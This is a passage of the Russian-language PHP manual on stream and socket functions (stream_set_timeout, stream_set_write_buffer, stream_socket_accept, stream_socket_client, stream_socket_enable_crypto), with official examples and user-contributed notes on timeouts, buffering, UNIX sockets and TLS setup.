            if ($info['timed_out']) {
                    trigger_error('Timeout', E_USER_WARNING);
                    break;
            }
        }
?>
jack.whoami 27-May-2014 08:25
Just in case someone stumbles into my situation... I was trying to get the microseconds part to work and it just wasn't working as expected.

Assuming blocking mode is true and I use

<?php stream_set_timeout($s, 1, 0);?>

I get a 1s delay as expected. However when I do

<?php stream_set_timeout($s, 0, 500);?>

I expect a 500microsecond delay but I get no delays at all. However when i do this

<?php stream_set_timeout($s, 0, 500000);?>

I get a 500 microsecond delay which is what I was expecting
emailfire at gmail dot com 18-May-2011 01:28
This function seems to have no effect when running as a CLI script, see http://bugs.php.net/bug.php?id=36030
hamishcool3 at yahoo dot co dot uk 29-Oct-2010 09:29
In case anyone is puzzled, stream_set_timeout DOES NOT work for sockets created with socket_create or socket_accept. Use socket_set_option instead.

Instead of:
<?php
stream_set_timeout($socket,$sec,$usec);
?>

Use:
<?php
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec'=>$sec, 'usec'=>$usec));
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec'=>$sec, 'usec'=>$usec));
?>
mildly dull at terriblyclever dot com 29-Nov-2009 05:53
I didn't have much luck with the suggestions below (although I likely applied them wrong).
Instead, I used stream_context_create() and set an http option for timeout. I fed that context into file_get_contents() and voila!

To my desperate friend below: the https transport can also use the http stream context options. I haven't verified this works as I don't have a slow responding ssl to test on. But if you are still stressing, give the below a shot (you may need to modify a bit...)

<?php
    $timeout = 5*60;
    $options = array(
          'http'=>array(
            'method'=>"GET",
            'header'=>"Accept-language: en\r\n",
              'timeout' => $timeout
              )
        );
    $context = stream_context_create($options);
    $contents = file_get_contents($source, false, $context);
?>

Yes...that is a 5 minute timeout.
Martin Butt - martin at anti_spambutt.cx 12-Mar-2007 09:39
Here is a working example for loops:

<?php
// Timeout in seconds
$timeout = 5;

$fp = fsockopen("www.server.com", 80, $errno, $errstr, $timeout);

if ($fp) {
        fwrite($fp, "GET /file.php HTTP/1.0\r\n");
        fwrite($fp, "Host: www.server.com\r\n");
        fwrite($fp, "Connection: Close\r\n\r\n");

        stream_set_blocking($fp, TRUE);
        stream_set_timeout($fp,$timeout);
        $info = stream_get_meta_data($fp);

        while ((!feof($fp)) && (!$info['timed_out'])) {
                $data .= fgets($fp, 4096);
                $info = stream_get_meta_data($fp);
                ob_flush;
                flush();
        }

        if ($info['timed_out']) {
                echo "Connection Timed Out!";
        } else {
                echo $data;
        }
}
?>
Dianoga (dianoga7 [at] 3dgo.net) 20-Nov-2006 06:33
I have found that in order to actually stop the socket from timing out the script, you must call stream_get_meta_data and check for a timeout within the loop reading from the socket.

Example:

<?php
$sock = fsockopen($host, 80, $errno, $errstr, 30);
if(!$sock){
    echo "Unable to get server status";
}else{
    $out = "GET /server.php HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($sock, $out);

    stream_set_blocking($fp, FALSE );
    stream_set_timeout($sock, $timeout);
    $info = stream_get_meta_data($sock);

    while (!feof($sock) && !$info['timed_out']) {
        $file .= fgets($sock, 4096);
        $info = stream_get_meta_data($sock);
    }

    fclose($sock);
?>
alfi_ at yahoo dot com 01-Aug-2006 08:10
If you are using fsockopen() to create a connection, first going to write into the stream and then waiting for the reply (e.g. simulating HTTP request with some extra headers), then stream_set_timeout() must be set only after the write - if it is before write, it has no effect on the read timeout :-(
Noticed at least on PHP/4.3.10
rtfm61 at yandex dot ru 25-Feb-2006 02:41
stream_set_timeout() is not suitable for such files as UNIX-devices (/dev/...), i suggest to use select() instead with desirable timeout value - that works well.
ridera 17-Feb-2005 05:37
I have found it required to add

"stream_set_blocking($fp, FALSE )"

prior to any fgets(), fread(), etc. to prevent the code from hanging up when remote files are called and the response is slow.


Устанавливает буферизацию файла при записи в указанный поток

  • « stream_set_timeout
  • stream_socket_accept »
  • PHP Manual
  • Функции для работы с потоками
  • Устанавливает буферизацию файла при записи в указанный поток

stream_set_write_buffer

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_set_write_buffer — Устанавливает буферизацию файла при записи в указанный поток

Описание

stream_set_write_buffer(resource $stream, int $size): int

Устанавливает буферизацию для операций записи на заданном потоке stream в число size байт.

Список параметров

stream

Файловый указатель.

size

Число байт для буферизации. Если аргумент size равен 0, то операции записи не буферизуются. Это гарантирует, что все операции записи с использованием функции fwrite() будут завершены перед тем, как другим процессам будет разрешено записывать в поток вывода.

Возвращаемые значения

Возвращает 0 в случае успешного выполнения, или другое значение в случае, если запрос не может быть выполнен.

Примеры

Пример #1 Пример использования stream_set_write_buffer()

Следующий пример демонстрирует использование функции stream_set_write_buffer() для создания небуферизуемого потока.

<?php
$fp = fopen($file, "w");
if ($fp) {
if (stream_set_write_buffer($fp, 0) !== 0) {
// не удалось внести изменение
}
fwrite($fp, $output);
fclose($fp);
}
?>

Смотрите также

  • fopen() - Открывает файл или URL
  • fwrite() - Бинарно-безопасная запись в файл

User Contributed Notes

MOX 20-Oct-2021 12:56
The stream_set_write_buffer() function has been broken since PHP 4.3.0. As a workaround, I would suggest using a php_user_filter as an output buffer. By using the following class I have measured over 50% performance improvements with scripts that generate large text files by writing them one line at a time:

class my_output_buffer extends php_user_filter
{
    protected static $BUFFER_SIZE = 4096;

    function onCreate( ) {
        $this->bff = [];
        $this->len = 0;
        return true;
    }

    public function filter($in, $out, &$consumed, $closing)
    {
        $rv = PSFS_FEED_ME; /* assume no output */

        /* process input */
        while ($bucket = stream_bucket_make_writeable($in)) {

            /* bucket is too big for the buffer? */
            $space = static::$BUFFER_SIZE - $this->len;

            if ($bucket->datalen >= $space) {
                /* consume data by placing it into internal buffers */
                $this->bff[] = substr($bucket->data, 0, $space);
                $this->len += $space;
                $overflow = substr($bucket->data, $space);
                $ovfl_len = $bucket->datalen - $space;
                $consumed += $bucket->datalen;

                assert($this->len == static::$BUFFER_SIZE);

                /* make one big bucket */
                $bucket->data = implode('', $this->bff);
                $bucket->datalen = static::$BUFFER_SIZE;
                stream_bucket_append($out, $bucket);
                $rv = PSFS_PASS_ON; /* we have output! */

                /* handle overflow */
                $this->bff = [$overflow];
                $this->len = $ovfl_len;
            }
            else {
                /* consume data by placing it into internal buffers */
                $this->bff[] = $bucket->data;
                $this->len += $bucket->datalen;
                $consumed += $bucket->datalen;
            }
        }

        /* stream is closing and we have data? */
        if ($closing && $this->len > 0) {
            /* make one last bucket */
            $data = implode('', $this->bff);
            $bucket = stream_bucket_new($this->stream, $data);
            stream_bucket_append($out, $bucket);
            $rv = PSFS_PASS_ON; /* we have output! */

            /* clear internal buffer */
            $this->bff = [];
            $this->len = 0;
        }

        return $rv;
    }
}

$fp = fopen('foobar.txt', 'w');

/* enable filtering */
stream_filter_register('output.buffer', 'my_output_buffer');
stream_filter_append($fp, 'output.buffer');

/* a lot of small writes */
for ($i = 0; $i < 10000; $i++) {
    fwrite($fp, 'x');
}

fclose($fp);
kevin at bonnevillessei dot com 20-May-2018 12:15
Trying to use stream_set_write_buffer on a local file will always fail according to this note from 2003.

http://grokbase.com/t/php/php-internals/0351gp6xtn/stream-set-write-buffer-does-not-work

Example:

$fp = fopen("localfile.txt", "w");
if (stream_set_write_buffer($fp, 0) !== 0) {
    // changing the buffering failed is always true on local files
}


Принимать соединение в сокете, созданном c помощью функции stream_socket_server

  • « stream_set_write_buffer
  • stream_socket_client »
  • PHP Manual
  • Функции для работы с потоками
  • Принимать соединение в сокете, созданном c помощью функции stream_socket_server

stream_socket_accept

(PHP 5, PHP 7, PHP 8)

stream_socket_accept — Принимать соединение в сокете, созданном c помощью функции stream_socket_server()

Описание

stream_socket_accept(resource $socket, ?float $timeout = null, string &$peer_name = null): resource|false

Принимать соединение в сокете, предварительно созданном с помощью функции stream_socket_server().

Список параметров

socket

Серверный сокет для принятия соединения.

timeout

Переопределять время ожидания подключения сокета по умолчанию. Время должно быть указано в секундах. По умолчанию используется значение default_socket_timeout.

peer_name

Будет присвоено имя (адрес) клиента, который подсоединился, если оно содержится и доступно из выбранного транспорта.

Замечание:

Может быть определено позже, используя функцию stream_socket_get_name().

Возвращаемые значения

Возвращает поток принятого соединения с сокетом или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | timeout теперь допускает значение null.

Примечания

Внимание

Эта функция не должна использоваться с серверными сокетами UDP. Вместо этого используйте stream_socket_recvfrom() и stream_socket_sendto().

Смотрите также

  • stream_socket_server() - Создаёт интернет-сокет или доменный сокет Unix
  • stream_socket_get_name() - Получить название локального или удалённого сокета
  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке
  • stream_set_timeout() - Установить значение времени ожидания для потока
  • fgets() - Читает строку из файла
  • fgetss() - Читает строку из файла и удаляет HTML-теги
  • fwrite() - Бинарно-безопасная запись в файл
  • fclose() - Закрывает открытый дескриптор файла
  • feof() - Проверяет, достигнут ли конец файла
  • Функции cURL

User Contributed Notes

Alex Nordenheim 17-Dec-2014 10:37
Note that if you use 0 as timeout, the connection will timeout right away.
Andy at txtNation dot com 10-Oct-2011 09:13
To check if there's a new connection waiting, without blocking, or (when using non-blocking mode) without notices), you can use stream_accept (as opposed to socket_select).

<?php

    class GenericClass {

        protected $resSocket=null;

        function acceptConnections() {

            # check that we still have a resource

            if(is_resource($this->resSocket)) {

                $arrRead=array($this->resSocket);

                $arrWrite=array();

                /** @warning Passing $arrRead,$arrWrite by reference */
                if(stream_select($arrRead,$arrWrite,$arrWrite,0)) {

                    $resConnection=stream_socket_accept($this->resSocket,0);

                    # ... other stuff here
                }
            }
        }
    }
?>
fred dot hakeem dot smith at muslimamerica dot bob dot net 02-Jan-2008 12:33
To whom it may concern, and it may concern you greatly, stream_set_blocking has no effect on stream_socket_accept.
If you want it to return right away, connection or not, use 0 for the timeout parameter.
mickael dot bailly at free dot fr 18-Jul-2006 03:10
this function, compared to the function socket_accept, got an extra argument "timeout".
To make this function wait indefinitelly to incoming connections, just as in socket_accept, set timeout to -1. It works for me with PHP 5.0.4.
leleu256NOSPAM at hotmail dot com 02-Nov-2004 05:58
This code could be very helpfull...

The following code is for the "server". It listen for a message until CTRL-C

<?php
while (true)
{
// disconnected every 5 seconds...
receive_message('127.0.0.1','85',5);
}

function receive_message($ipServer,$portNumber,$nbSecondsIdle)
{
  // creating the socket...
  $socket = stream_socket_server('tcp://'.$ipServer.':'.$portNumber, $errno, $errstr);
  if (!$socket)
  {
    echo "$errstr ($errno)<br />\n";
  }
  else
   {
    // while there is connection, i'll receive it... if I didn't receive a message within $nbSecondsIdle seconds, the following function will stop.
    while ($conn = @stream_socket_accept($socket,$nbSecondsIdle))
    {
     $message= fread($conn, 1024);
     echo 'I have received that : '.$message;
     fputs ($conn, "OK\n");
     fclose ($conn);
    }
    fclose($socket);
  }
}
?>

The following code is for the "client". It send a message, and read the respons...

<?php

send_message('127.0.0.1','85','Message to send...');

function send_message($ipServer,$portServer,$message)
{
  $fp = stream_socket_client("tcp://$ipServer:$portServer", $errno, $errstr);
  if (!$fp)
  {
     echo "ERREUR : $errno - $errstr<br />\n";
  }
  else
  {
     fwrite($fp,"$message\n");
     $response =  fread($fp, 4);
     if ($response != "OK\n")
        {echo 'The command couldn\'t be executed...\ncause :'.$response;}
     else
        {echo 'Execution successfull...';}
     fclose($fp);
  }
}
?>


Открыть соединение с интернет-сокетом или с доменным сокетом Unix

  • « stream_socket_accept
  • stream_socket_enable_crypto »
  • PHP Manual
  • Функции для работы с потоками
  • Открыть соединение с интернет-сокетом или с доменным сокетом Unix

stream_socket_client

(PHP 5, PHP 7, PHP 8)

stream_socket_client — Открыть соединение с интернет-сокетом или с доменным сокетом Unix

Описание

stream_socket_client(
string $address,
int &$error_code = null,
string &$error_message = null,
?float $timeout = null,
int $flags = STREAM_CLIENT_CONNECT,
?resource $context = null
): resource|false

Начинает соединение потока или датаграммы с удалённым сокетом, указанным параметром address. Тип создаваемого сокета определяется по транспорту, указанному с использованием стандартного форматирования URL: transport://target. Для интернет-сокетов, (AF_INET) таких, как TCP и UDP, часть target параметра address должна состоять из имени хоста или IP-адреса, за которым следует двоеточие и номер порта. Для доменных сокетов Unix, часть target должна указывать на файл сокета в файловой системе.

Замечание:

По умолчанию поток будет открыт в блокирующем режиме. Вы можете переключить его в неблокирующий режим, используя функцию stream_set_blocking().

Список параметров

address

Адрес удалённого сокета для соединения.

error_code

Будет присвоен номер системной ошибки, если соединение не удалось установить.

error_message

Будет присвоено сообщение о системной ошибке, если соединение не удалось установить.

timeout

Число секунд, в течение которых должно произойти время ожидания системного вызова connect(). По умолчанию используется значение default_socket_timeout.

Замечание: Этот параметр применяется только если не происходит попытка асинхронного соединения.

Замечание:

Чтобы указать время ожидания для чтения/записи данных через сокет, используйте функцию stream_set_timeout(), так как параметр timeout применяется только при создании соединения через сокет.

flags

Поле битовой маски, которое может принимать значение любой комбинации флагов соединения. В настоящее время набор флагов соединения ограничен следующими значениями STREAM_CLIENT_CONNECT (по умолчанию), STREAM_CLIENT_ASYNC_CONNECT и STREAM_CLIENT_PERSISTENT.

context

Действующий ресурс контекста, созданный при помощи функции stream_context_create().

Возвращаемые значения

В случае успешного выполнения возвращается ресурс потока, который может быть использован с другими файловыми функциями (такими, как fgets(), fgetss(), fwrite(), fclose(), и feof()), в случае возникновения ошибки возвращается false.

Ошибки

В случае неудачного вызова функции аргументы error_code и error_message будут заполнены системной ошибкой, которая произошла при системном вызове connect(). Если значение, возвращённое в аргументе error_code равно 0 и функция возвратила значение false, это означает, что ошибка произошла до вызова connect(). Это произошло скорее всего из-за проблемы инициализации сокета. Примите во внимание, что аргументы error_code и error_message всегда будут передаваться по ссылке.

Список изменений

Версия | Описание
8.0.0 | timeout и context теперь допускают значение null.

Примеры

Пример #1 Пример использования stream_socket_client()

<?php
$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");
while (!feof($fp)) {
echo fgets($fp, 1024);
}
fclose($fp);
}
?>

Пример #2 Использование UDP-соединения

Получения дня и времени от UDP-сервиса "daytime" (порт 13) на localhost.

<?php
$fp = stream_socket_client("udp://127.0.0.1:13", $errno, $errstr);
if (!$fp) {
echo "ОШИБКА: $errno - $errstr<br />\n";
} else {
fwrite($fp, "\n");
echo fread($fp, 26);
fclose($fp);
}
?>

Примечания

Внимание

UDP-сокеты иногда могут открываться без ошибки, даже если удалённый хост недоступен. Ошибка станет заметной только когда вы будете читать или писать данные из/в сокет. Причина этого в том, что UDP - это протокол без соединения, что означает, что операционная система не пытается установить соединение с сокетом до тех пор, пока ей в действительности не нужно отправить или получить данные.

Замечание: При указании числового адреса IPv6 (например, fe80::1) вы должны заключать его в квадратные скобки. Например, tcp://[fe80::1]:80.

Замечание:

В зависимости от окружения, Unix-домены или произвольное время ожидания соединения могут быть недоступны. Список доступных транспортов может быть получен используя функцию stream_get_transports(). Смотрите список встроенных транспортов на странице Список поддерживаемых транспортных протоколов.

Смотрите также

  • stream_socket_server() - Создаёт интернет-сокет или доменный сокет Unix
  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке
  • stream_set_timeout() - Установить значение времени ожидания для потока
  • stream_select() - Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds
  • fgets() - Читает строку из файла
  • fgetss() - Читает строку из файла и удаляет HTML-теги
  • fwrite() - Бинарно-безопасная запись в файл
  • fclose() - Закрывает открытый дескриптор файла
  • feof() - Проверяет, достигнут ли конец файла
  • Функции cURL

User Contributed Notes

Daniel 12-Sep-2014 08:29
If you only need to check a stream for data, you can use stream_get_content and strtr function. stream_get_content
reads the remainder of a stream into a string.
<?php

$addr = gethostbyname('www.example.com');

$client = stream_socket_client("tcp://$addr:80", $errno, $errorMessage);

 if($client === false){
                throw new UnexpectedValueException("Failed to connect: $errorMessage");
        }

        fwrite($client, "GET / HTTP/1.0\r\nhost:    'www.example.com'\r\nAccept: */*\r\n\r\n");

$variable = stream_get_content($client);

if(strstr($variable,'data your looking for'))
       echo "The data you are looking for is here";
else
       echo "data not found";

fclose($client);
?>
Vasil Rangelov a.k.a. boen_robot 14-Aug-2011 01:11
The remote_socket argument, in its end (well... after the port), can also contain a "/" followed by a unique identifier. This is especially useful if you want to create multiple persistent connections to the same transport://host:port combo.

Example:
<?php
$socket = stream_socket_client('tcp://mysql.example.com:3306/root', $errorno, $errorstr, $timeout, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT);
?>

Note that while (p)fsockopen() follows a similar scheme, it doesn't have this particular feature.
bisho at onirica dot com 29-Mar-2010 09:04
stream_socket_client is much easier and faster to use to direct sockets, because you can use directly fwrite / fget / fclose functions, but I find hard to find how to connect to a UNIX domain socket. The URL to use is "udg:///path/to/socket".

For example, to log to the log socket (like syslog), you can use:

<?php
$socket = stream_socket_client('udg:///dev/log',
        $errorno,
        $errorstr,
        $timeout);
fwrite($socket, ...);
?>
nicholas at nicholaswilliams dot net 28-Oct-2008 05:08
For those wanting to use stream_socket_client() to connect to a local UNIX socket who can't find documentation on how to do it, here's a (rough) example:

<?php

$sock = stream_socket_client('unix:///full/path/to/my/socket.sock', $errno, $errstr);

fwrite($sock, 'SOME COMMAND'."\r\n");

echo fread($sock, 4096)."\n";

fclose($sock);

?>
robin at gareus dot org 26-Aug-2008 03:34
I came here since fsockopen() does not support any SSL certificate checking in PHP5.

while curl is nice, I use stream_socket_client() to make XML-RPC POST requests via HTTPS and since I have not found any PHP code around that does this, I'll attach an example that also includes HTTP-Digest Auth (eg. trac's WikiRPCInterface2):

<?php
#################################################
# $host: hostname ; eg 'example.org'
# $path: request' eg '/index.php?id=123'
# $data_to_send : data to POST after the HTTP header.
#
# if $opts is an  empty array() a standard  HTTP to port 80 request is performed.
#
# set auth['type']='basic' to use plain-text auth,
# digest-auth will be handled automatically if $auth['username'] is set and a 401
# status is encountered. - use auth['type']='nodigest' to override.
#
##
function httpPost($host, $path, $data_to_send,
                  $opts=array('cert'=>"", 'headers'=>0, 'transport' =>'ssl', 'port'=>443),
                  $auth=array('username'=>"", 'password'=>"", 'type'=>"")
                 ) {
  $transport=''; $port=80;
  if (!empty($opts['transport'])) $transport=$opts['transport'];
  if (!empty($opts['port'])) $port=$opts['port'];
  $remote=$transport.'://'.$host.':'.$port;

  $context = stream_context_create();
  $result = stream_context_set_option($context, 'ssl', 'verify_host', true);
  if (!empty($opts['cert'])) {
    $result = stream_context_set_option($context, 'ssl', 'cafile', $opts['cert']);
    $result = stream_context_set_option($context, 'ssl', 'verify_peer', true);
  } else {
    $result = stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
  }
  $fp = stream_socket_client($remote, $err, $errstr, 60, STREAM_CLIENT_CONNECT, $context);

  if (!$fp) {
    trigger_error('httpPost error: '.$errstr);
    return NULL;
  }

  $req='';
  $req.="POST $path HTTP/1.1\r\n";
  $req.="Host: $host\r\n";
  if ($auth['type']=='basic' && !empty($auth['username'])) {
    $req.="Authorization: Basic ";
    $req.=base64_encode($auth['username'].':'.$auth['password'])."\r\n";
  }
  elseif ($auth['type']=='digest' && !empty($auth['username'])) {
    $req.='Authorization: Digest ';
    foreach ($auth as $k => $v) {
      if (empty($k) || empty($v)) continue;
      if ($k=='password') continue;
      $req.=$k.'="'.$v.'", ';
    }
    $req.="\r\n";
  }
  $req.="Content-type: text/xml\r\n";
  $req.='Content-length: '. strlen($data_to_send) ."\r\n";
  $req.="Connection: close\r\n\r\n";

  fputs($fp, $req);
  fputs($fp, $data_to_send);

  while(!feof($fp)) { $res .= fgets($fp, 128); }
  fclose($fp);

  if ($auth['type']!='nodigest'
        && !empty($auth['username'])
        && $auth['type']!='digest' # prev. digest AUTH failed.
        && preg_match("/^HTTP\/[0-9\.]* 401 /", $res)) {
    if (1 == preg_match("/WWW-Authenticate: Digest ([^\n\r]*)\r\n/Us", $res, $matches)) {
      foreach (split(",", $matches[1]) as $i) {
        $ii=split("=",trim($i),2);
        if (!empty($ii[1]) && !empty($ii[0])) {
          $auth[$ii[0]]=preg_replace("/^\"/",'', preg_replace("/\"$/",'', $ii[1]));
        }
      }
      $auth['type']='digest';
      $auth['uri']='https://'.$host.$path;
      $auth['cnonce']=randomNonce();
      $auth['nc']=1;
      $a1=md5($auth['username'].':'.$auth['realm'].':'.$auth['password']);
      $a2=md5('POST'.':'.$auth['uri']);
      $auth['response']=md5($a1.':'
                           .$auth['nonce'].':'.$auth['nc'].':'
                           .$auth['cnonce'].':'.$auth['qop'].':'.$a2);
      return httpPost($host, $path, $data_to_send, $opts, $auth);
    }
  }

  if (1 != preg_match("/^HTTP\/[0-9\.]* ([0-9]{3}) ([^\r\n]*)/", $res, $matches)) {
    trigger_error('httpPost: invalid HTTP reply.');
    return NULL;
  }

  if ($matches[1] != '200') {
    trigger_error('httpPost: HTTP error: '.$matches[1].' '.$matches[2]);
    return NULL;
  }

  if (!$opts['headers']) {
    $res=preg_replace("/^.*\r\n\r\n/Us",'',$res);
  }
  return $res;
}
?>
wbeaver at afilias dot info 31-Aug-2007 02:06
# Some may find it useful to know that your caCert
# must be in pem format, and that PHP seems to like
# your key, cert, and cacert pem's to be concatenated
# in a single file (I suffered various "unknown chain"
# errors, otherwise)
#
# So, (linux users), concat your components as follows:
# (where current working dir is dir where
# cert components are stored)
#
# cat key.pem >certchain.pem
# cat cert.pem >>certchain.pem
# cat cacert.pem >>certchain.pem
#
# Then, the php....
##################################

<?php

$host = 'host.domain.tld';
$port = 1234;
$timeout = 10;

$cert = '/path/to/your/certchain/certchain.pem';
$context = stream_context_create(array('ssl'=>array('local_cert'=> $cert,
)));

if ($fp = stream_socket_client('ssl://'.$host.':'.$port, $errno, $errstr, 30,
        STREAM_CLIENT_CONNECT, $context)) {
    fwrite($fp, "\n");
    echo fread($fp,8192);
    fclose($fp);
} else {
   echo "ERROR: $errno - $errstr<br />\n";
}

?>


Включает или отключает шифрование на уже подключённом сокете

  • « stream_socket_client
  • stream_socket_get_name »
  • PHP Manual
  • Функции для работы с потоками
  • Включает или отключает шифрование на уже подключённом сокете

stream_socket_enable_crypto

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_socket_enable_crypto — Включает или отключает шифрование на уже подключённом сокете

Описание

stream_socket_enable_crypto(
resource $stream,
bool $enable,
?int $crypto_method = null,
?resource $session_stream = null
): int|bool

Включает или отключает шифрование на потоке.

После настройки шифрования, криптография может быть включена или выключена динамически при помощи передачи значения true или false параметру enable.

Список параметров

stream

Потоковый ресурс.

enable

Включить/отключить криптографию на потоке.

crypto_method

Включить шифрование на потоке. Допустимые методы

  • STREAM_CRYPTO_METHOD_SSLv2_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv3_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv23_CLIENT
  • STREAM_CRYPTO_METHOD_ANY_CLIENT
  • STREAM_CRYPTO_METHOD_TLS_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT (начиная с PHP 7.4.0)
  • STREAM_CRYPTO_METHOD_SSLv2_SERVER
  • STREAM_CRYPTO_METHOD_SSLv3_SERVER
  • STREAM_CRYPTO_METHOD_SSLv23_SERVER
  • STREAM_CRYPTO_METHOD_ANY_SERVER
  • STREAM_CRYPTO_METHOD_TLS_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_0_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_1_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_2_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_3_SERVER (начиная с PHP 7.4.0)

Если не указан, то будет использован параметр crypto_method из SSL контекста потока.

session_stream

Использовать в потоке настройки из session_stream.

Возвращаемые значения

Возвращает true в случае успешного выполнения, false, если не удалось установить шифрование или 0, если недостаточно данных и вы должны попытаться ещё раз (только для неблокирующих сокетов).

Список изменений

Версия | Описание
8.0.0 | session_stream теперь допускает значение null.

Примеры

Пример #1 Пример использования stream_socket_enable_crypto()

<?php
$fp = stream_socket_client("tcp://myproto.example.com:31337", $errno, $errstr, 30);
if (!$fp) {
die("Не могу соединиться: $errstr ($errno)");
}

/* Включить шифрование для этапа входа в систему */
stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_SSLv23_CLIENT);
fwrite($fp, "USER бог\r\n");
fwrite($fp, "PASS секрет\r\n");

/* Отключить шифрование для всего остального */
stream_socket_enable_crypto($fp, false);

while ($motd = fgets($fp)) {
echo $motd;
}

fclose($fp);
?>

Результатом выполнения данного примера будет что-то подобное:

Смотрите также

  • Функции OpenSSL
    •

  • Список поддерживаемых транспортных протоколов
    •

User Contributed Notes

   play dot it at play-it dot net
   04-Nov-2023 11:44

Information to the difference of `crypto_method`

There is `STREAM_CRYPTO_METHOD_*_CLIENT` and `STREAM_CRYPTO_METHOD_*_SERVER`

`STREAM_CRYPTO_METHOD_*_CLIENT` is used for clients, like:

```php

<?php

$client = stream_socket_client("tcp://example.com:443", $errno, $errstr);

stream_socket_enable_crypto($client, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

//...

?>

```

This code makes a TLS Handshake and the `stream_socket_enable_crypto` sends a `Client HELLO`

`STREAM_CRYPTO_METHOD_*_SERVER` is used for servers, like:

<?php

$server = stream_socket_server("tcp://example.com:443", $errno, $errstr, STREAM_SERVER_BIND | STREAM_SERVER_LISTEN);

stream_context_set_option($server, ["ssl" => [

    "local_cert" => __DIR__."/https.crt",

    "local_pk" => __DIR__."/https.key",

]]);

//...

$client = stream_socket_accept($server);

stream_socket_enable_crypto($client, true, STREAM_CRYPTO_METHOD_TLS_SERVER);

//...

?>

This code makes a TLS Handshake and the `stream_socket_enable_crypto` sends a `Server HELLO` after the client send a `Client HELLO`.

so use `STREAM_CRYPTO_METHOD_*_CLIENT` for requesting data and `STREAM_CRYPTO_METHOD_*_SERVER` for serving data, after accepting a client.

   Zero
   04-Oct-2023 10:53

Since PHP 7.2, TLS equates to TLS_ANY, so STREAM_CRYPTO_METHOD_TLS_CLIENT means any TLS versions.

   Anonymous
   13-Jan-2022 05:20

If you need to change a stream from unencrypted to crypted after unencrypted traffic has been processed, you use the stream-socket-recvfrom function to read instead of fread when reading the unencrypted traffic. Using fread will cause some of the buffer of the initial CLIENT HELLO message to be read into it's buffers causing the SSL handshake to fail in some situations.

   cgy at anymacro dot com
   19-Jul-2018 09:42

$context = stream_context_create();

stream_context_set_option($context, 'ssl', 'allow_self_signed', false);

stream_context_set_option($context, 'ssl', 'verify_peer', false);

stream_context_set_option($context, 'ssl', 'verify_peer_name', false);

$fp = stream_socket_client("unix:///tmp/ssl.sock", $errno, $errstr, 30,STREAM_CLIENT_ASYNC_CONNECT | STREAM_CLIENT_CONNECT,$context);

stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

????:

PHP Warning:  stream_socket_enable_crypto(): this stream does not support SSL/crypto

   bobe at webnaute dot net
   05-Apr-2016 06:35

Constants added in PHP 5.6 :

STREAM_CRYPTO_METHOD_ANY_CLIENT

STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT

STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT

STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT

STREAM_CRYPTO_METHOD_ANY_SERVER

STREAM_CRYPTO_METHOD_TLSv1_0_SERVER

STREAM_CRYPTO_METHOD_TLSv1_1_SERVER

STREAM_CRYPTO_METHOD_TLSv1_2_SERVER

Now, be careful because since PHP 5.6.7, STREAM_CRYPTO_METHOD_TLS_CLIENT (same for _SERVER) no longer means any tls version but tls 1.0 only (for "backward compatibility"...).

Before PHP 5.6.7 :

STREAM_CRYPTO_METHOD_SSLv23_CLIENT = STREAM_CRYPTO_METHOD_SSLv2_CLIENT|STREAM_CRYPTO_METHOD_SSLv3_CLIENT

STREAM_CRYPTO_METHOD_TLS_CLIENT = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT

PHP >= 5.6.7

STREAM_CRYPTO_METHOD_SSLv23_CLIENT = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT

STREAM_CRYPTO_METHOD_TLS_CLIENT = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT

PHP bug : https://bugs.php.net/bug.php?id=69195

Commit : https://github.com/php/php-src/commit/10bc5fd4c4c8e1dd57bd911b086e9872a56300a0

STREAM_CRYPTO_METHOD_SSLv23_CLIENT is not safe to use because before php 5.6.7, it means sslv2 or sslv3. So, you should do this :

<?php

$crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;

if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {

    $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;

    $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;

}

stream_socket_enable_crypto($socket, true, $crypto_method);

?>

   bobe at webnaute dot net
   20-Mar-2015 04:54

There is an error in the description of the third argument:

"If omitted, the crypto_type context option on the stream's SSL context will be used instead."

The name of the context option is "crypto_method", NOT "crypto_type" which is just the name of the argument.

   mark at kinoko dot fr
   06-Nov-2007 11:00

